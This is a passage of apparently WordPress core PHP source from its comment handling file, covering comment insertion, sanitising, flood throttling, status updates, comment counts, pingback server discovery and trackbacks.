	if ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
		$comment_id = (int) $_GET['unapproved'];
		$comment    = get_comment( $comment_id );

		if ( $comment && hash_equals( $_GET['moderation-hash'], wp_hash( $comment->comment_date_gmt ) ) ) {
			// The comment will only be viewable by the comment author for 10 minutes.
			$comment_preview_expires = strtotime( $comment->comment_date_gmt . '+10 minutes' );

			if ( time() < $comment_preview_expires ) {
				$commenter_email = $comment->comment_author_email;
			}
		}
	}

	if ( ! $commenter_email ) {
		$commenter       = wp_get_current_commenter();
		$commenter_email = $commenter['comment_author_email'];
	}

	return $commenter_email;
}

/**
 * Inserts a comment into the database.
 *
 * @since 2.0.0
 * @since 4.4.0 Introduced the `$comment_meta` argument.
 * @since 5.5.0 Default value for `$comment_type` argument changed to `comment`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata {
 *     Array of arguments for inserting a new comment.
 *
 *     @type string     $comment_agent        The HTTP user agent of the `$comment_author` when
 *                                            the comment was submitted. Default empty.
 *     @type int|string $comment_approved     Whether the comment has been approved. Default 1.
 *     @type string     $comment_author       The name of the author of the comment. Default empty.
 *     @type string     $comment_author_email The email address of the `$comment_author`. Default empty.
 *     @type string     $comment_author_IP    The IP address of the `$comment_author`. Default empty.
 *     @type string     $comment_author_url   The URL address of the `$comment_author`. Default empty.
 *     @type string     $comment_content      The content of the comment. Default empty.
 *     @type string     $comment_date         The date the comment was submitted. To set the date
 *                                            manually, `$comment_date_gmt` must also be specified.
 *                                            Default is the current time.
 *     @type string     $comment_date_gmt     The date the comment was submitted in the GMT timezone.
 *                                            Default is `$comment_date` in the site's GMT timezone.
 *     @type int        $comment_karma        The karma of the comment. Default 0.
 *     @type int        $comment_parent       ID of this comment's parent, if any. Default 0.
 *     @type int        $comment_post_ID      ID of the post that relates to the comment, if any.
 *                                            Default 0.
 *     @type string     $comment_type         Comment type. Default 'comment'.
 *     @type array      $comment_meta         Optional. Array of key/value pairs to be stored in commentmeta for the
 *                                            new comment.
 *     @type int        $user_id              ID of the user who submitted the comment. Default 0.
 * }
 * @return int|false The new comment's ID on success, false on failure.
 */
function wp_insert_comment( $commentdata ) {
	global $wpdb;

	$data = wp_unslash( $commentdata );

	$comment_author       = ! isset( $data['comment_author'] ) ? '' : $data['comment_author'];
	$comment_author_email = ! isset( $data['comment_author_email'] ) ? '' : $data['comment_author_email'];
	$comment_author_url   = ! isset( $data['comment_author_url'] ) ? '' : $data['comment_author_url'];
	$comment_author_ip    = ! isset( $data['comment_author_IP'] ) ? '' : $data['comment_author_IP'];

	$comment_date     = ! isset( $data['comment_date'] ) ? current_time( 'mysql' ) : $data['comment_date'];
	$comment_date_gmt = ! isset( $data['comment_date_gmt'] ) ? get_gmt_from_date( $comment_date ) : $data['comment_date_gmt'];

	$comment_post_id  = ! isset( $data['comment_post_ID'] ) ? 0 : $data['comment_post_ID'];
	$comment_content  = ! isset( $data['comment_content'] ) ? '' : $data['comment_content'];
	$comment_karma    = ! isset( $data['comment_karma'] ) ? 0 : $data['comment_karma'];
	$comment_approved = ! isset( $data['comment_approved'] ) ? 1 : $data['comment_approved'];
	$comment_agent    = ! isset( $data['comment_agent'] ) ? '' : $data['comment_agent'];
	$comment_type     = empty( $data['comment_type'] ) ? 'comment' : $data['comment_type'];
	$comment_parent   = ! isset( $data['comment_parent'] ) ? 0 : $data['comment_parent'];

	$user_id = ! isset( $data['user_id'] ) ? 0 : $data['user_id'];

	$compacted = array(
		'comment_post_ID'   => $comment_post_id,
		'comment_author_IP' => $comment_author_ip,
	);

	$compacted += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_date',
		'comment_date_gmt',
		'comment_content',
		'comment_karma',
		'comment_approved',
		'comment_agent',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	if ( ! $wpdb->insert( $wpdb->comments, $compacted ) ) {
		return false;
	}

	$id = (int) $wpdb->insert_id;

	if ( 1 === (int) $comment_approved ) {
		wp_update_comment_count( $comment_post_id );

		$data = array();
		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
			$data[] = "lastcommentmodified:$timezone";
		}
		wp_cache_delete_multiple( $data, 'timeinfo' );
	}

	clean_comment_cache( $id );

	$comment = get_comment( $id );

	// If metadata is provided, store it.
	if ( isset( $commentdata['comment_meta'] ) && is_array( $commentdata['comment_meta'] ) ) {
		foreach ( $commentdata['comment_meta'] as $meta_key => $meta_value ) {
			add_comment_meta( $comment->comment_ID, $meta_key, $meta_value, true );
		}
	}

	/**
	 * Fires immediately after a comment is inserted into the database.
	 *
	 * @since 2.8.0
	 *
	 * @param int        $id      The comment ID.
	 * @param WP_Comment $comment Comment object.
	 */
	do_action( 'wp_insert_comment', $id, $comment );

	return $id;
}

/**
 * Filters and sanitizes comment data.
 *
 * Sets the comment data 'filtered' field to true when finished. This can be
 * checked as to whether the comment should be filtered and to keep from
 * filtering the same comment more than once.
 *
 * @since 2.0.0
 *
 * @param array $commentdata Contains information on the comment.
 * @return array Parsed comment information.
 */
function wp_filter_comment( $commentdata ) {
	if ( isset( $commentdata['user_ID'] ) ) {
		/**
		 * Filters the comment author's user ID before it is set.
		 *
		 * The first time this filter is evaluated, `user_ID` is checked
		 * (for back-compat), followed by the standard `user_id` value.
		 *
		 * @since 1.5.0
		 *
		 * @param int $user_id The comment author's user ID.
		 */
		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_ID'] );
	} elseif ( isset( $commentdata['user_id'] ) ) {
		/** This filter is documented in wp-includes/comment.php */
		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_id'] );
	}

	/**
	 * Filters the comment author's browser user agent before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_agent The comment author's browser user agent.
	 */
	$commentdata['comment_agent'] = apply_filters( 'pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author'] = apply_filters( 'pre_comment_author_name', $commentdata['comment_author'] );
	/**
	 * Filters the comment content before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_content The comment content.
	 */
	$commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
	/**
	 * Filters the comment author's IP address before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_author_ip The comment author's IP address.
	 */
	$commentdata['comment_author_IP'] = apply_filters( 'pre_comment_user_ip', $commentdata['comment_author_IP'] );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author_url'] = apply_filters( 'pre_comment_author_url', $commentdata['comment_author_url'] );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author_email'] = apply_filters( 'pre_comment_author_email', $commentdata['comment_author_email'] );

	$commentdata['filtered'] = true;

	return $commentdata;
}

/**
 * Determines whether a comment should be blocked because of comment flood.
 *
 * @since 2.1.0
 *
 * @param bool $block            Whether plugin has already blocked comment.
 * @param int  $time_lastcomment Timestamp for last comment.
 * @param int  $time_newcomment  Timestamp for new comment.
 * @return bool Whether comment should be blocked.
 */
function wp_throttle_comment_flood( $block, $time_lastcomment, $time_newcomment ) {
	if ( $block ) { // A plugin has already blocked... we'll let that decision stand.
		return $block;
	}
	if ( ( $time_newcomment - $time_lastcomment ) < 15 ) {
		return true;
	}
	return false;
}

/**
 * Adds a new comment to the database.
 *
 * Filters new comment to ensure that the fields are sanitized and valid before
 * inserting comment into database. Calls {@see 'comment_post'} action with comment ID
 * and whether comment is approved by WordPress. Also has {@see 'preprocess_comment'}
 * filter for processing the comment data before the function handles it.
 *
 * We use `REMOTE_ADDR` here directly. If you are behind a proxy, you should ensure
 * that it is properly set, such as in wp-config.php, for your environment.
 *
 * See {@link https://core.trac.wordpress.org/ticket/9235}
 *
 * @since 1.5.0
 * @since 4.3.0 Introduced the `comment_agent` and `comment_author_IP` arguments.
 * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function
 *              to return a WP_Error object instead of dying.
 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
 * @since 5.5.0 Introduced the `comment_type` argument.
 *
 * @see wp_insert_comment()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata {
 *     Comment data.
 *
 *     @type string $comment_author       The name of the comment author.
 *     @type string $comment_author_email The comment author email address.
 *     @type string $comment_author_url   The comment author URL.
 *     @type string $comment_content      The content of the comment.
 *     @type string $comment_date         The date the comment was submitted. Default is the current time.
 *     @type string $comment_date_gmt     The date the comment was submitted in the GMT timezone.
 *                                        Default is `$comment_date` in the GMT timezone.
 *     @type string $comment_type         Comment type. Default 'comment'.
 *     @type int    $comment_parent       The ID of this comment's parent, if any. Default 0.
 *     @type int    $comment_post_ID      The ID of the post that relates to the comment.
 *     @type int    $user_id              The ID of the user who submitted the comment. Default 0.
 *     @type int    $user_ID              Kept for backward-compatibility. Use `$user_id` instead.
 *     @type string $comment_agent        Comment author user agent. Default is the value of 'HTTP_USER_AGENT'
 *                                        in the `$_SERVER` superglobal sent in the original request.
 *     @type string $comment_author_IP    Comment author IP address in IPv4 format. Default is the value of
 *                                        'REMOTE_ADDR' in the `$_SERVER` superglobal sent in the original request.
 * }
 * @param bool  $wp_error Should errors be returned as WP_Error objects instead of
 *                        executing wp_die()? Default false.
 * @return int|false|WP_Error The ID of the comment on success, false or WP_Error on failure.
 */
function wp_new_comment( $commentdata, $wp_error = false ) {
	global $wpdb;

	/*
	 * Normalize `user_ID` to `user_id`, but pass the old key
	 * to the `preprocess_comment` filter for backward compatibility.
	 */
	if ( isset( $commentdata['user_ID'] ) ) {
		$commentdata['user_ID'] = (int) $commentdata['user_ID'];
		$commentdata['user_id'] = $commentdata['user_ID'];
	} elseif ( isset( $commentdata['user_id'] ) ) {
		$commentdata['user_id'] = (int) $commentdata['user_id'];
		$commentdata['user_ID'] = $commentdata['user_id'];
	}

	$prefiltered_user_id = ( isset( $commentdata['user_id'] ) ) ? (int) $commentdata['user_id'] : 0;

	if ( ! isset( $commentdata['comment_author_IP'] ) ) {
		$commentdata['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
	}

	if ( ! isset( $commentdata['comment_agent'] ) ) {
		$commentdata['comment_agent'] = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '';
	}

	/**
	 * Filters a comment's data before it is sanitized and inserted into the database.
	 *
	 * @since 1.5.0
	 * @since 5.6.0 Comment data includes the `comment_agent` and `comment_author_IP` values.
	 *
	 * @param array $commentdata Comment data.
	 */
	$commentdata = apply_filters( 'preprocess_comment', $commentdata );

	$commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID'];

	// Normalize `user_ID` to `user_id` again, after the filter.
	if ( isset( $commentdata['user_ID'] ) && $prefiltered_user_id !== (int) $commentdata['user_ID'] ) {
		$commentdata['user_ID'] = (int) $commentdata['user_ID'];
		$commentdata['user_id'] = $commentdata['user_ID'];
	} elseif ( isset( $commentdata['user_id'] ) ) {
		$commentdata['user_id'] = (int) $commentdata['user_id'];
		$commentdata['user_ID'] = $commentdata['user_id'];
	}

	$commentdata['comment_parent'] = isset( $commentdata['comment_parent'] ) ? absint( $commentdata['comment_parent'] ) : 0;

	$parent_status = ( $commentdata['comment_parent'] > 0 ) ? wp_get_comment_status( $commentdata['comment_parent'] ) : '';

	$commentdata['comment_parent'] = ( 'approved' === $parent_status || 'unapproved' === $parent_status ) ? $commentdata['comment_parent'] : 0;

	$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '', $commentdata['comment_author_IP'] );

	$commentdata['comment_agent'] = substr( $commentdata['comment_agent'], 0, 254 );

	if ( empty( $commentdata['comment_date'] ) ) {
		$commentdata['comment_date'] = current_time( 'mysql' );
	}

	if ( empty( $commentdata['comment_date_gmt'] ) ) {
		$commentdata['comment_date_gmt'] = current_time( 'mysql', 1 );
	}

	if ( empty( $commentdata['comment_type'] ) ) {
		$commentdata['comment_type'] = 'comment';
	}

	$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error );

	if ( is_wp_error( $commentdata['comment_approved'] ) ) {
		return $commentdata['comment_approved'];
	}

	$commentdata = wp_filter_comment( $commentdata );

	if ( ! in_array( $commentdata['comment_approved'], array( 'trash', 'spam' ), true ) ) {
		// Validate the comment again after filters are applied to comment data.
		$commentdata['comment_approved'] = wp_check_comment_data( $commentdata );
	}

	if ( is_wp_error( $commentdata['comment_approved'] ) ) {
		return $commentdata['comment_approved'];
	}

	$comment_id = wp_insert_comment( $commentdata );

	if ( ! $comment_id ) {
		$fields = array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content' );

		foreach ( $fields as $field ) {
			if ( isset( $commentdata[ $field ] ) ) {
				$commentdata[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->comments, $field, $commentdata[ $field ] );
			}
		}

		$commentdata = wp_filter_comment( $commentdata );

		$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error );
		if ( is_wp_error( $commentdata['comment_approved'] ) ) {
			return $commentdata['comment_approved'];
		}

		$comment_id = wp_insert_comment( $commentdata );
		if ( ! $comment_id ) {
			return false;
		}
	}

	/**
	 * Fires immediately after a comment is inserted into the database.
	 *
	 * @since 1.2.0
	 * @since 4.5.0 The `$commentdata` parameter was added.
	 *
	 * @param int        $comment_id       The comment ID.
	 * @param int|string $comment_approved 1 if the comment is approved, 0 if not, 'spam' if spam.
	 * @param array      $commentdata      Comment data.
	 */
	do_action( 'comment_post', $comment_id, $commentdata['comment_approved'], $commentdata );

	return $comment_id;
}

/**
 * Sends a comment moderation notification to the comment moderator.
 *
 * @since 4.4.0
 *
 * @param int $comment_id ID of the comment.
 * @return bool True on success, false on failure.
 */
function wp_new_comment_notify_moderator( $comment_id ) {
	$comment = get_comment( $comment_id );

	// Only send notifications for pending comments.
	$maybe_notify = ( '0' === $comment->comment_approved );

	/** This filter is documented in wp-includes/pluggable.php */
	$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id );

	if ( ! $maybe_notify ) {
		return false;
	}

	return wp_notify_moderator( $comment_id );
}

/**
 * Sends a notification of a new comment to the post author.
 *
 * @since 4.4.0
 *
 * Uses the {@see 'notify_post_author'} filter to determine whether the post author
 * should be notified when a new comment is added, overriding site setting.
 *
 * @param int $comment_id Comment ID.
 * @return bool True on success, false on failure.
 */
function wp_new_comment_notify_postauthor( $comment_id ) {
	$comment = get_comment( $comment_id );

	$maybe_notify = get_option( 'comments_notify' );

	/**
	 * Filters whether to send the post author new comment notification emails,
	 * overriding the site setting.
	 *
	 * @since 4.4.0
	 *
	 * @param bool $maybe_notify Whether to notify the post author about the new comment.
	 * @param int  $comment_id   The ID of the comment for the notification.
	 */
	$maybe_notify = apply_filters( 'notify_post_author', $maybe_notify, $comment_id );

	/*
	 * wp_notify_postauthor() checks if notifying the author of their own comment.
	 * By default, it won't, but filters can override this.
	 */
	if ( ! $maybe_notify ) {
		return false;
	}

	// Only send notifications for approved comments.
	if ( ! isset( $comment->comment_approved ) || '1' !== $comment->comment_approved ) {
		return false;
	}

	return wp_notify_postauthor( $comment_id );
}

/**
 * Sets the status of a comment.
 *
 * The {@see 'wp_set_comment_status'} action is called after the comment is handled.
 * If the comment status is not in the list, then false is returned.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Comment $comment_id     Comment ID or WP_Comment object.
 * @param string         $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'.
 * @param bool           $wp_error       Whether to return a WP_Error object if there is a failure. Default false.
 * @return bool|WP_Error True on success, false or WP_Error on failure.
 */
function wp_set_comment_status( $comment_id, $comment_status, $wp_error = false ) {
	global $wpdb;

	switch ( $comment_status ) {
		case 'hold':
		case '0':
			$status = '0';
			break;
		case 'approve':
		case '1':
			$status = '1';
			add_action( 'wp_set_comment_status', 'wp_new_comment_notify_postauthor' );
			break;
		case 'spam':
			$status = 'spam';
			break;
		case 'trash':
			$status = 'trash';
			break;
		default:
			return false;
	}

	$comment_old = clone get_comment( $comment_id );

	if ( ! $wpdb->update( $wpdb->comments, array( 'comment_approved' => $status ), array( 'comment_ID' => $comment_old->comment_ID ) ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'db_update_error', __( 'Could not update comment status.' ), $wpdb->last_error );
		} else {
			return false;
		}
	}

	clean_comment_cache( $comment_old->comment_ID );

	$comment = get_comment( $comment_old->comment_ID );

	/**
	 * Fires immediately after transitioning a comment's status from one to another in the database
	 * and removing the comment from the object cache, but prior to all status transition hooks.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_id     Comment ID as a numeric string.
	 * @param string $comment_status Current comment status. Possible values include
	 *                               'hold', '0', 'approve', '1', 'spam', and 'trash'.
	 */
	do_action( 'wp_set_comment_status', $comment->comment_ID, $comment_status );

	wp_transition_comment_status( $comment_status, $comment_old->comment_approved, $comment );

	wp_update_comment_count( $comment->comment_post_ID );

	return true;
}

/**
 * Updates an existing comment in the database.
 *
 * Filters the comment and makes sure certain fields are valid before updating.
 *
 * @since 2.0.0
 * @since 4.9.0 Add updating comment meta during comment update.
 * @since 5.5.0 The `$wp_error` parameter was added.
 * @since 5.5.0 The return values for an invalid comment or post ID
 *              were changed to false instead of 0.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentarr Contains information on the comment.
 * @param bool  $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error The value 1 if the comment was updated, 0 if not updated.
 *                            False or a WP_Error object on failure.
 */
function wp_update_comment( $commentarr, $wp_error = false ) {
	global $wpdb;

	// First, get all of the original fields.
	$comment = get_comment( $commentarr['comment_ID'], ARRAY_A );

	if ( empty( $comment ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'invalid_comment_id', __( 'Invalid comment ID.' ) );
		} else {
			return false;
		}
	}

	// Make sure that the comment post ID is valid (if specified).
	if ( ! empty( $commentarr['comment_post_ID'] ) && ! get_post( $commentarr['comment_post_ID'] ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'invalid_post_id', __( 'Invalid post ID.' ) );
		} else {
			return false;
		}
	}

	$filter_comment = false;
	if ( ! has_filter( 'pre_comment_content', 'wp_filter_kses' ) ) {
		$filter_comment = ! user_can( isset( $comment['user_id'] ) ? $comment['user_id'] : 0, 'unfiltered_html' );
	}

	if ( $filter_comment ) {
		add_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Escape data pulled from DB.
	$comment = wp_slash( $comment );

	$old_status = $comment['comment_approved'];

	// Merge old and new fields with new fields overwriting old ones.
	$commentarr = array_merge( $comment, $commentarr );

	$commentarr = wp_filter_comment( $commentarr );

	if ( $filter_comment ) {
		remove_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Now extract the merged array.
	$data = wp_unslash( $commentarr );

	/**
	 * Filters the comment content before it is updated in the database.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_content The comment data.
	 */
	$data['comment_content'] = apply_filters( 'comment_save_pre', $data['comment_content'] );

	$data['comment_date_gmt'] = get_gmt_from_date( $data['comment_date'] );

	if ( ! isset( $data['comment_approved'] ) ) {
		$data['comment_approved'] = 1;
	} elseif ( 'hold' === $data['comment_approved'] ) {
		$data['comment_approved'] = 0;
	} elseif ( 'approve' === $data['comment_approved'] ) {
		$data['comment_approved'] = 1;
	}

	$comment_id      = $data['comment_ID'];
	$comment_post_id = $data['comment_post_ID'];

	/**
	 * Filters the comment data immediately before it is updated in the database.
	 *
	 * Note: data being passed to the filter is already unslashed.
	 *
	 * @since 4.7.0
	 * @since 5.5.0 Returning a WP_Error value from the filter will short-circuit comment update
	 *              and allow skipping further processing.
	 *
	 * @param array|WP_Error $data       The new, processed comment data, or WP_Error.
	 * @param array          $comment    The old, unslashed comment data.
	 * @param array          $commentarr The new, raw comment data.
	 */
	$data = apply_filters( 'wp_update_comment_data', $data, $comment, $commentarr );

	// Do not carry on on failure.
	if ( is_wp_error( $data ) ) {
		if ( $wp_error ) {
			return $data;
		} else {
			return false;
		}
	}

	$keys = array(
		'comment_post_ID',
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_author_IP',
		'comment_date',
		'comment_date_gmt',
		'comment_content',
		'comment_karma',
		'comment_approved',
		'comment_agent',
		'comment_type',
		'comment_parent',
		'user_id',
	);

	$data = wp_array_slice_assoc( $data, $keys );

	$result = $wpdb->update( $wpdb->comments, $data, array( 'comment_ID' => $comment_id ) );

	if ( false === $result ) {
		if ( $wp_error ) {
			return new WP_Error( 'db_update_error', __( 'Could not update comment in the database.' ), $wpdb->last_error );
		} else {
			return false;
		}
	}

	// If metadata is provided, store it.
	if ( isset( $commentarr['comment_meta'] ) && is_array( $commentarr['comment_meta'] ) ) {
		foreach ( $commentarr['comment_meta'] as $meta_key => $meta_value ) {
			update_comment_meta( $comment_id, $meta_key, $meta_value );
		}
	}

	clean_comment_cache( $comment_id );
	wp_update_comment_count( $comment_post_id );

	/**
	 * Fires immediately after a comment is updated in the database.
	 *
	 * The hook also fires immediately before comment status transition hooks are fired.
	 *
	 * @since 1.2.0
	 * @since 4.6.0 Added the `$data` parameter.
	 *
	 * @param int   $comment_id The comment ID.
	 * @param array $data       Comment data.
	 */
	do_action( 'edit_comment', $comment_id, $data );

	$comment = get_comment( $comment_id );

	wp_transition_comment_status( $comment->comment_approved, $old_status, $comment );

	return $result;
}

/**
 * Determines whether to defer comment counting.
 *
 * When setting $defer to true, all post comment counts will not be updated
 * until $defer is set to false. When $defer is set to false, then all
 * previously deferred updated post comment counts will then be automatically
 * updated without having to call wp_update_comment_count() after.
 *
 * @since 2.5.0
 *
 * @param bool $defer
 * @return bool
 */
function wp_defer_comment_counting( $defer = null ) {
	static $_defer = false;

	if ( is_bool( $defer ) ) {
		$_defer = $defer;
		// Flush any deferred counts.
		if ( ! $defer ) {
			wp_update_comment_count( null, true );
		}
	}

	return $_defer;
}

/**
 * Updates the comment count for post(s).
 *
 * When $do_deferred is false (is by default) and the comments have been set to
 * be deferred, the post_id will be added to a queue, which will be updated at a
 * later date and only updated once per post ID.
 *
 * If the comments have not be set up to be deferred, then the post will be
 * updated. When $do_deferred is set to true, then all previous deferred post
 * IDs will be updated along with the current $post_id.
 *
 * @since 2.1.0
 *
 * @see wp_update_comment_count_now() For what could cause a false return value
 *
 * @param int|null $post_id     Post ID.
 * @param bool     $do_deferred Optional. Whether to process previously deferred
 *                              post comment counts. Default false.
 * @return bool|void True on success, false on failure or if post with ID does
 *                   not exist.
 */
function wp_update_comment_count( $post_id, $do_deferred = false ) {
	static $_deferred = array();

	if ( empty( $post_id ) && ! $do_deferred ) {
		return false;
	}

	if ( $do_deferred ) {
		$_deferred = array_unique( $_deferred );
		foreach ( $_deferred as $i => $_post_id ) {
			wp_update_comment_count_now( $_post_id );
			unset( $_deferred[ $i ] );
			/** @todo Move this outside of the foreach and reset $_deferred to an array instead */
		}
	}

	if ( wp_defer_comment_counting() ) {
		$_deferred[] = $post_id;
		return true;
	} elseif ( $post_id ) {
		return wp_update_comment_count_now( $post_id );
	}
}

/**
 * Updates the comment count for the post.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $post_id Post ID
 * @return bool True on success, false if the post does not exist.
 */
function wp_update_comment_count_now( $post_id ) {
	global $wpdb;

	$post_id = (int) $post_id;

	if ( ! $post_id ) {
		return false;
	}

	wp_cache_delete( 'comments-0', 'counts' );
	wp_cache_delete( "comments-{$post_id}", 'counts' );

	$post = get_post( $post_id );

	if ( ! $post ) {
		return false;
	}

	$old = (int) $post->comment_count;

	/**
	 * Filters a post's comment count before it is updated in the database.
	 *
	 * @since 4.5.0
	 *
	 * @param int|null $new     The new comment count. Default null.
	 * @param int      $old     The old comment count.
	 * @param int      $post_id Post ID.
	 */
	$new = apply_filters( 'pre_wp_update_comment_count_now', null, $old, $post_id );

	if ( is_null( $new ) ) {
		$new = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id ) );
	} else {
		$new = (int) $new;
	}

	$wpdb->update( $wpdb->posts, array( 'comment_count' => $new ), array( 'ID' => $post_id ) );

	clean_post_cache( $post );

	/**
	 * Fires immediately after a post's comment count is updated in the database.
	 *
	 * @since 2.3.0
	 *
	 * @param int $post_id Post ID.
	 * @param int $new     The new comment count.
	 * @param int $old     The old comment count.
	 */
	do_action( 'wp_update_comment_count', $post_id, $new, $old );

	/** This action is documented in wp-includes/post.php */
	do_action( "edit_post_{$post->post_type}", $post_id, $post );

	/** This action is documented in wp-includes/post.php */
	do_action( 'edit_post', $post_id, $post );

	return true;
}

//
// Ping and trackback functions.
//

/**
 * Finds a pingback server URI based on the given URL.
 *
 * Checks the HTML for the rel="pingback" link and X-Pingback headers. It does
 * a check for the X-Pingback headers first and returns that, if available.
 * The check for the rel="pingback" has more overhead than just the header.
 *
 * @since 1.5.0
 *
 * @param string $url        URL to ping.
 * @param string $deprecated Not Used.
 * @return string|false String containing URI on success, false on failure.
 */
function discover_pingback_server_uri( $url, $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.7.0' );
	}

	$pingback_str_dquote = 'rel="pingback"';
	$pingback_str_squote = 'rel=\'pingback\'';

	/** @todo Should use Filter Extension or custom preg_match instead. */
	$parsed_url = parse_url( $url );

	if ( ! isset( $parsed_url['host'] ) ) { // Not a URL. This should never happen.
		return false;
	}

	// Do not search for a pingback server on our own uploads.
	$uploads_dir = wp_get_upload_dir();
	if ( str_starts_with( $url, $uploads_dir['baseurl'] ) ) {
		return false;
	}

	$response = wp_safe_remote_head(
		$url,
		array(
			'timeout'     => 2,
			'httpversion' => '1.0',
		)
	);

	if ( is_wp_error( $response ) ) {
		return false;
	}

	if ( wp_remote_retrieve_header( $response, 'X-Pingback' ) ) {
		return wp_remote_retrieve_header( $response, 'X-Pingback' );
	}

	// Not an (x)html, sgml, or xml page, no use going further.
	if ( preg_match( '#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'Content-Type' ) ) ) {
		return false;
	}

	// Now do a GET since we're going to look in the HTML headers (and we're sure it's not a binary file).
	$response = wp_safe_remote_get(
		$url,
		array(
			'timeout'     => 2,
			'httpversion' => '1.0',
		)
	);

	if ( is_wp_error( $response ) ) {
		return false;
	}

	$contents = wp_remote_retrieve_body( $response );

	$pingback_link_offset_dquote = strpos( $contents, $pingback_str_dquote );
	$pingback_link_offset_squote = strpos( $contents, $pingback_str_squote );

	if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) {
		$quote                   = ( $pingback_link_offset_dquote ) ? '"' : '\'';
		$pingback_link_offset    = ( '"' === $quote ) ? $pingback_link_offset_dquote : $pingback_link_offset_squote;
		$pingback_href_pos       = strpos( $contents, 'href=', $pingback_link_offset );
		$pingback_href_start     = $pingback_href_pos + 6;
		$pingback_href_end       = strpos( $contents, $quote, $pingback_href_start );
		$pingback_server_url_len = $pingback_href_end - $pingback_href_start;
		$pingback_server_url     = substr( $contents, $pingback_href_start, $pingback_server_url_len );

		// We may find rel="pingback" but an incomplete pingback URL.
		if ( $pingback_server_url_len > 0 ) { // We got it!
			return $pingback_server_url;
		}
	}

	return false;
}

/**
 * Performs all pingbacks, enclosures, trackbacks, and sends to pingback services.
 *
 * @since 2.1.0
 * @since 5.6.0 Introduced `do_all_pings` action hook for individual services.
 */
function do_all_pings() {
	/**
	 * Fires immediately after the `do_pings` event to hook services individually.
	 *
	 * @since 5.6.0
	 */
	do_action( 'do_all_pings' );
}

/**
 * Performs all pingbacks.
 *
 * @since 5.6.0
 */
function do_all_pingbacks() {
	$pings = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_pingme',
			'fields'           => 'ids',
		)
	);

	foreach ( $pings as $ping ) {
		delete_post_meta( $ping, '_pingme' );
		pingback( null, $ping );
	}
}

/**
 * Performs all enclosures.
 *
 * @since 5.6.0
 */
function do_all_enclosures() {
	$enclosures = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_encloseme',
			'fields'           => 'ids',
		)
	);

	foreach ( $enclosures as $enclosure ) {
		delete_post_meta( $enclosure, '_encloseme' );
		do_enclose( null, $enclosure );
	}
}

/**
 * Performs all trackbacks.
 *
 * @since 5.6.0
 */
function do_all_trackbacks() {
	$trackbacks = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_trackbackme',
			'fields'           => 'ids',
		)
	);

	foreach ( $trackbacks as $trackback ) {
		delete_post_meta( $trackback, '_trackbackme' );
		do_trackbacks( $trackback );
	}
}

/**
 * Performs trackbacks.
 *
 * @since 1.5.0
 * @since 4.7.0 `$post` can be a WP_Post object.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Post $post Post ID or object to do trackbacks on.
 * @return void|false Returns false on failure.
 */
function do_trackbacks( $post ) {
	global $wpdb;

	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$to_ping = get_to_ping( $post );
	$pinged  = get_pung( $post );

	if ( empty( $to_ping ) ) {
		$wpdb->update( $wpdb->posts, array( 'to_ping' => '' ), array( 'ID' => $post->ID ) );
		return;
	}

	if ( empty( $post->post_excerpt ) ) {
		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_content', $post->post_content, $post->ID );
	} else {
